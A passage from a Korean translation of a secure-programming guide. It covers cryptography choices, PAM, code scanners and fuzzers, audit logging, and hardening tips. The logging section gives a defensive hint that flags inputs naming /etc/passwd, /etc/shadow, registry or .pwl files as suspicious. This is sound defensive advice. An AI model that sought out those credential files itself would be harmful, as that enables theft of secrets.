암호화 프로토콜과 알고리듬을 올바르게 이해하기는 어렵다. 따라서 각자 스스로 이들을 만들지 마라. 대신 될 수 있는한 널리 사용되고 있고 깊히 분석되었으며 보안적이라고 받아들여진 프로토콜과 알고리듬을 사용해라. 이들을 만들어야 한다면 폭넓은 공개 검토를 하고 반드시 전문적인 보안 분석가들이 문제가 있는지 이들을 검사하도록 해라. 특히 암호학 전문가가 아니고 무엇을 하고 있는지 모르며 알고리듬을 전문적으로 검토하는데 시간을 투자할 계획이 없다면 자신의 암호화 알고리듬을 만들지 마라. 암호화 알고리듬 작성은 전문가들만의 작업이다.

많은 알고리듬은 특허화되어 있어 소유자가 현재 ``자유로운 사용"을 허용한다 하더라도 서명된 계약이 없다면 추후에 이 정책을 늘 변경할 수 있으며 따라서 추후 여러분을 극히 위험한 상황에 놓이게 한다. 일반적으로 모든 특허화된 알고리듬을 피해라 - 거의 모든 경우에 있어 최소한 특허화된 알고리듬만큼 우수하거나 기술적으로 더욱 우수한 특허화되어 있지 않은 접근 방법이 있으며 이를 사용함으로써 많은 법적인 문제를 피할 수 있다.

  H(k xor opad, H(k xor ipad, data)).

10.6. PAM 사용

PAM (Pluggable Authentication Module, 장착식 인증 모듈) 은 사용자를 인증하기 위한 유연한 메카니즘으로 솔라리스, 거의 모든 리눅스 배포판 (레드햇, 칼데라와 데비안 버전 2.2) 과 FreeBSD 버전 3.1 등의 많은 유닉스 계열 시스템이 PAM 을 지원한다. PAM 을 사용함으로써 프로그램은 패스워드, 스마트카드 등의 인증 스킴에 독립적일 수 있다. 기본적으로 프로그램은 PAM 을 호출하는데 로컬 시스템 관리자의 설정을 검사함으로써 어떤 ``인증 모듈"이 필요한지를 런타임시 결정한다. 패스워드 입력과 같은 인증을 요하는 프로그램을 작성하고 있다면 PAM 에 대한 지원을 포함해야 한다. http://www.kernel.org/pub/linux/libs/pam/index.html에서 리눅스-PAM 프로젝트에 대한 더욱 자세한 정보를 찾을 수 있다.

10.7. 도구

몇몇 도구들은 보안 문제를 처리하기 전에 이를 탐지하는데 도움이 될 수 있다. 물론 모든 그러한 문제를 발견할 수는 없지만 지나칠 수 있는 문제를 잡는데 도움이 될 수 있다. 다음은 오픈 소스/자유 소프트웨어 도구에 중점을 둔 약간의 도구들이다.

한가지 명백한 타입의 도구는 잠재적인 보안 문제를 갖고 있다고 알려진 패턴을 찾아내는 소스 코드를 검사하는 프로그램이다 (예, 라이브러리 함수 호출은 대개 보안 취약성의 출처이다). 이러한 종류의 프로그램은 ``소스 코드 스캐너" (source code scanner) 라고 불리는데 다음 몇몇 그러한 도구들이다:

• Secure Software Solutions 의 RATS (Rough Auditing Tool for Security) 는 http://www.securesw.com/rats 에서 얻을 수 있다. 이 프로그램은 일반적인 문제에 대해 C/C++ 소스 코드를 스캔하며 GPL 라이센스하에 있다.

• 저자가 개발한 Flawfinder; 이는 http://www.dwheeler.com/flawfinder 에서 얻을 수 있다. 이도 또한 일반적인 문제에 대해 C/C++ 소스 코드를 스캔하며 GPL 라이센스하에 있다. RATS 와는 달리 flawfinder 는 파이썬으로 구현되어 있다. RATS 와 Flawfinder 개발자들은 하나의 ``가장 우수한" 오픈 소스 프로그램을 만들기 위해 함께 공동작업할 방법을 찾는데 의견을 일치하였다.

• Cigital (이전 Reliable Software Technologies, RST) 의 ITS4 는 정적으로 C/C++ 코드를 검사한다. ITS4 는 소스 코드에 패턴 매칭을 수행해 어떤 함수 호출과 같은 위험할 수 있다고 알려진 패턴을 찾아내는데 소스 코드를 포함해 어떤 수정과 재배포 권리와 함께 비상업적 사용을 위해서는 무료로 얻을 수 있다. 이 도구는 Open Source Definition (OSD) 에 의해 정의된 것과 같은 ``오픈 소스" 로 발표되지 않았음을 주목해라. 특히 OSD 조항 6 은 오픈 소스 라이센스에서 "non-commercial use only" 절을 금지하고 있다. ITS4 는 http://www.rstcorp.com/its4 에서 얻을 수 있다.

• LCLint 는 정적으로 C 프로그램을 검사하는 도구인데 이는 최소한의 노력으로 더욱 좋은 lint (유닉스 운영체제에서 사용되는 프로그램으로서, C 언어의 원시 프로그램을 읽어들여 오류가 있는지를 검사하는 프로그램) 로 사용될 수 있다. 프로그램에 주석을 다는 추가 노력이 행해진다면 LCLint 는 어떤 표준 lint 보다 더욱 강한 검사를 수행할 수 있다. 이 소프트웨어는 GPL 라이센스이며 http://lclint.cs.virginia.edu 에서 얻을 수 있다.

• cqual 은 C 프로그램에서 버그를 찾기위한 타입 기반 분석 도구이다. 이는 C 의 타입 시스템을 특별한 사용자 정의 타입 한정사 (qualifier) 로 확장하는데 예를 들어 값들이 ``tainted" 또는 ``untainted" 임을 나타낼 수 있다 (펄의 taint 검사와 유사). 프로그래머는 몇몇 장소에 그들의 프로그램에 대한 주석을 다는데 cqual 은 주석이 정확한지 검사하기 위해 한정사 추론을 수행한다. cqual 은 이맥스 기반 인터페이스인 Program Analysis Mode 를 사용해 분석 결과를 나타낸다. 현재 버전은 C 프로그램의 잠재적인 포맷-문자열 취약성을 찾아낼 수 있다. Cqual 의 이전 버전인 Carillon 은 C 프로그램에서 Y2K 문제를 찾아내기 위해 사용되었다. 소프트웨어는 GPL 라이센스로 http://www.cs.berkeley.edu/Research/Aiken/cqual 에서 얻을 수 있다.

• Cyclone 은 C 의 보안 약점을 제거하기 위한 만들어진 C 와 같은 언어이다. 이론상 ``더욱 보안적인" 언어로 언제나 바꿀 수 있지만 이것이 늘 도움이 되지는 않는다 (언어는 공통적인 실수를 피하도록 도움을 줄 수는 있지만 각자의 의중을 읽을 수는 없다). John Viega 는 Cyclone 을 검토하였으며, 2001년 12월 다음과 같이 말했다: ``Cyclone 은 명확하게 멋진 언어이다. 이는 프로그래머에게 실제 이익이 될 수 있는 많은 특징이 있을 뿐만 아니라 C 언어의 어떠한 능력도 빼앗지 않을 것 같고 게다가 강력한 보안 보증을 추가한 C 다이어렉트 (dialect, 컴퓨터 언어의 특수한 판) 이다. 불행히 Cyclone 은 아직 가장 중요한 시간에 준비되어 있지 않았다. Cyclone 을 못쓰게 만드는 제한들은 예외로 하더라도 아직까지 매우 미성숙된 기술을 사용하는 위험을 무릅쓰는 것이 가치가 없을만큼 아직 자바 (또는 훌륭한 툴셋을 갖고 있는 C) 에 대해 충분한 장점을 제공하지 못하고 있다. 아마도 몇년내에 Cyclone 는 효율면에서 위험할 정도로 C 와 유사한 강력하고 널리 지원되는 언어로 성숙할 것이다. 그날이 오면 분명히 내가 C 를 포기하는 것을 볼 것이다." Cyclone 컴파일러는 GPL 및 LGPL 라이센스하에 발표되었으며 더욱 자세한 정보는 Cyclone 웹 사이트 에서 얻을 수 있다.

다른 방법은 프로그램내의 약점을 찾기 위해 테스트 패턴을 만들어 프로그램을 실행시키는 것이다. 다음은 약간의 도구들이다.

• BFBTester, Brute Force Binary Tester, 은 GPL 라이센스 프로그램으로 이진 프로그램의 보안을 빠르게 검사하는데 이 프로그램은 단일 및 다중 인수 커맨드 라인 오버플로우와 환경변수 오버플로우를 검사한다. 버전 2.0 이상은 비보안적인 tempfile 이름을 사용하는지 검사하기 위해 또한 tempfile 을 생성하려는 동작을 감시할 수 있다. 한때 BFBTester 는 리눅스의 POSIX 쓰레드 구현시의 기술적 문제때문에 리눅스에서 실행되지 않았지만 버전 2.0.1 에서 수정되었다. 더욱 자세한 정보는 http://my.ispchannel.com/~mheffner/bfbtester 에서 얻을 수 있다.

• fuzz 프로그램은 다른 소프트웨어를 검사하는 도구로 임의의 데이타로 평가할 프로그램을 공격함으로써 프로그램을 검사한다. 이 도구는 실제 보안에 한정된 것은 아니다.

많은 보통의 잠재적인 단점을 갖고 있는 ftp 서버 또는 방화벽과 같은 제품을 구축하려면 표준 보안 스캐닝 도구가 유용함을 알 수 있다. Nessus 는 한가지 훌륭한 도구로 이외에도 많은 도구들이 있다. 이러한 종류의 도구들은 회귀 검사 (regression testing) 을 하는데 매우 유용하지만 이들은 본질적으로 과거의 특정 취약성과 공통적인 설정 에러 목록을 사용하기 때문에 새로운 프로그램에서 문제점을 찾아내는데 유용하지 않을 수도 있다.

보안적인 인프라를 구현하기 위해 다른 도구를 호출할 필요가 있을 것이다. Open-Source PKI Book 은 공개키 기반구조 (public key infrastructure, PKI) 를 구현하기 위한 많은 오픈 소스 프로그램을 기술하고 있다.

물론 비보안적으로 설정된 플랫폼에서 보안적인 프로그램을 실행시키는 것은 의미가 없다. 공격에 보다 저항적인 시스템 설정을 하거나 수정하기 위해 강화 시스템을 검사할 수도 있다. 리눅스에서 한가지 강화 시스템은 Bastille 리눅스로 이는 http://www.bastille-linux.org 에서 얻을 수 있다.

10.8. Windows CE

윈도우 CE 디바이스를 안전하게 하려면 http://msdn.microsoft.com/library/techart/winsecurity.htm에서 Maricia Alforque 의 "Creating a Secure Windows CE Device" 를 읽어야 한다.

10.9. 감사 레코드 작성

프로그램 시동, 세션 시동 및 수상한 행동에 대한 감사 기록을 작성해라. 가치있는 가능한 정보로는 날짜, 시간, uid, euid, gid, egid, 단말기 정보, 프로세스 id 와 커맨드 라인 값들이 있는데 syslog(3) 함수가 감사 로그를 구현하는데 있어 도움이 될 수 있다. 한가지 조심해야할 문제는 모든 로깅 시스템이 많은 정보 (이 정보가 매우 도움이 될 것이기 때문에) 를 기록할 수 있어야 하지만 이 정보가 주의깊게 다뤄지지 않는다면 정보 자체가 공격하는데 사용될 수 있다는 것이다. 결국 공격자는 프로그램에 보내지는 입력의 일부를 제어하는데 있을 수 있는 공격자에 의해 보내진 데이타를 기록할 때는 로그가 손상되지 않도록 ``예상된" 문자들의 목록을 확인하고 모든 ``예기치 않은" 문자들을 이스케이프해라. 이렇게 하지 않으면 실제 문제가 될 수 있다; 사용자가 실제 문제를 일으킬 수 있는 제어 문자들 (특히 NIL 또는 라인 끝) 과 같은 문자를 포함할 수도 있다. 예를 들어 공격자가 개행 문자를 끼워넣는다면 개행 문자뒤에 원하는 로그 엔트리를 놓음으로써 그 엔트리를 변조할 수 있다. 불행히 이러한 문자들을 이스케이핑하는 것에 대한 표준 관례가 있을 것 같지는 않다. 저자는 URL 이스케이핑 메카니즘 (%hh, hh 는 이스케이프되는 바이트의 16진수) 을 특히 좋아하지만 C 관례 (8진수에 대해 \ooo, \X, X 는 특별 심볼로 예, 개행 문자에 대해 \n) 를 포함해 다른 것들도 있다. 또한 캐럿 (caret) 시스템 (^I 는 control-I) 도 있지만 이 시스템은 127 위의 바이트 값을 다루지는 못한다.

시스템이 감사 레코드를 저장하기 위한 자원을 다써버릴 때까지 감사 레코드를 기록되게 하는 매우 많은 수의 이벤트를 수행함으로써 사용자가 서비스 부인 공격 (또는 적어도 감사 중지) 을 만들 수 있는 위험이 있다. 이 위협에 대처하기 위한 한가지 접근 방법은 감사 기록 레코딩의 정도를 제한 (rate limit) 하는 것이다; 너무 많은 감사 레코드들이 기록되고 있다면 의도적으로 응답 속도를 감소시켜라. 또한 의심스러운 공격자에게만 응답 속도를 줄이려고 할 수도 있지만 많은 경우 단독 공격자가 잠재적으로 많은 사용자들로 가장할 수 있다.

물론 무엇이 ``수상한 행동"인가를 선택하는 것은 프로그램이 하는 일과 이의 예상된 사용에 의존하는데 초기에 논의한 필터링 검사에서 걸러지지 않는 모든 입력이 아마도 후보이다 (예, NIL 을 포함하여). 정상 사용으로부터 생길수 없는 입력은 될 수 있는한 기록되어야 하는데 특정 요구 필드가 수상한 방식으로 사라지는 CGI 스크립트가 그 예이다. /etc/passwd 또는 /etc/shadow 또는 비슷한 문장을 갖고 있는 모든 입력은 많은 경우 매우 의심스럽다. 비슷하게 윈도우의 "registry" 파일 또는 .pwl 파일에 접근하려는 것은 매우 의심스럽다.

감사 레코드에 패스워드를 기록하지 마라. 종종 사람들은 여러 시스템에 대해 패스워드를 우연히 입력하는데 따라서 패스워드를 기록하는 것은 시스템 관리자가 관리 영역 외부의 다른 컴퓨터에 침입할 수 있도록 한다.

10.10. 기타

다음은 다른 절에서 기술하기에는 적당하지 않을 것 같은 여러가지 기타 보안 지침들이다:

프로그램의 가정들을 사용하기 전에 적어도 (프로그램 시작부분에서) 프로그램이 이들의 일부를 검사하게 하라. 예를 들어 주어진 디렉토리에 설정된 "sticky" 비트에 의존한다면 이를 검사해라. 이러한 검사들은 거의 시간이 걸리지 않지만 심각한 문제를 예방할 수 있다. 각 호출에 대해 약간의 검사에 걸리는 시간이 우려된다면 적어도 설치시에 검사를 하거나 또는 더욱 좋은 것은 애플리케이션 시동시에 적어도 검사를 수행해라.

내장 스크립팅 언어를 갖고 있다면 이 언어가 스크립트를 호출하는 프로그램에 나쁜 영향을 미칠 수 있는 환경 변수를 설정하는 것이 가능할 수도 있다. 이에 대처해라.

복잡한 설정 언어가 필요하다면 이 언어가 주석 문자를 갖고 있고 주석처리된 많은 보안적인 예들을 포함하는 지 확인해라. 대개 '#'이 주석을 다는데 사용되는데 이 라인의 나머지가 주석이다.

가능하다면 setuid 또는 setgid 루트 프로그램을 작성하지 마라; 대신 루트로 사용자 로그인을 해라.

코드에 서명해라. 이렇게 함으로써 얻을 수 있는 것이 보내졌던 것인지를 살펴보기 위해 다른 사람들이 검사할 수 있다.

정적으로 링크되는 보안적인 프로그램을 고려해라. 이는 보안적인 프로그램이 동적 링크 라이브러를 사용하지 않음을 확인함으로써 이 메카니즘에 대한 공격에 대응한다. 그러나 이는 몇가지 단점이 있는데 동일한 루틴의 다중 복사때문에 디스크와 메모리 사용을 증가시킬 수 있으며 또한 더욱 바람직 하지 않은 것은 보안 취약성에 대한 라이브러리 갱신을 더욱 어렵게 만든다 - 대부분의 시스템에서 이들은 자동적으로 갱신되지 않을 것이며 개별적으로 찾아내 구현되어야 한다.

코드를 자세히 검토할 때 일치하지 않는 모든 경우를 고려해라. 예를 들어 switch 문이 있다면 cases 중 아무 것도 일치하지 않을 때 무엇이 발생할 것인가? "if" 문이 있다면 조건이 실패할 때 무엇이 발생할 것인가?

단지 파일을 ``removing" 한다고 해서 이 디스크로부터 파일 데이타를 제거하는 것은 아니다; 대부분의 시스템에서는 이 내용을 ``deleted" 로 표시하여 추후 재사용에 알맞게 만들며 대개 데이타는 적어도 다른 곳 (메모리, 스왑 파일 및 임시 파일) 에 일시적으로 저장된다. 정말로 단호한 공격에 대항하기 위해서는 데이타를 겹쳐쓰는 것으로는 충분하지 않다. 자성체 미디어를 지우는 문제에 대한 고전적인 논문은 Peter Gutman 의 논문 ``Secure Deletion of Data from Magnetic and Solid-State Memory''이다. 과감한 적은 컴퓨터에서 방출되는 전자기 모니터링 (군사 시스템들은 이를 극복하기 위해 TEMPEST 규칙을 따라야 한다) 및 키보드에 숨겨진 모니터와 같은 비밀 공격 등의 다른 방법을 사용할 수도 있다.

보안 취약성을 수정할 때 (현재 수정된) 취약성을 악용하려는 시도를 탐지해 기록하기 위해 ``경고" 를 추가하는 것을 고려해라. 이는 특히 공격자가 공격이 효과가 있을 것인지 미리 결정할 방법이 없다면 진행중인 공격을 노출시키기 때문에 공격 가능성을 감소시킬 것이다. 요약하면 취약성을 침입 탐지 시스템으로 변환시켜라. 이는 또한 인증전에 서버 프로그램의 버전을 드러내는 것은 보안에 대해 나쁜 개념이라고 제안한다. 왜냐하면 버전을 드러냄으로써 공격자가 효과가 있을 공격만을 사용하는 것을 쉽게 하기 때문이다. 몇몇 프로그램은 공격자가 ``잘못된 공격"을 사용해 탐지될 수 있도록 의도적으로 버전을 틀리게 말하는 것을 가능하게 한다. 또한 취약성이 네트워크를 통해 유발된다면 반드시 보안 스캐너가 취약성을 탐지할 수 있도록 하기바란다. 저자는 Nessus 를 사용하기를 추천하는데 반드시 오픈 소스 보안 스캐너가 문제점을 탐지할 수 있도록 해라. 이렇게 함으로써 갱신에 대해 소프트웨어를 검사하지 않는 사용자가 최소한 보안 취약성 스캔동안에 문제에 배울 것이다.

때때로 이 책과 같은 보안 지침을 검토해라. 최소한 11장 내의 결론을 다시 읽은 후 소개 (1장) 로 되돌아가 다시 읽어라.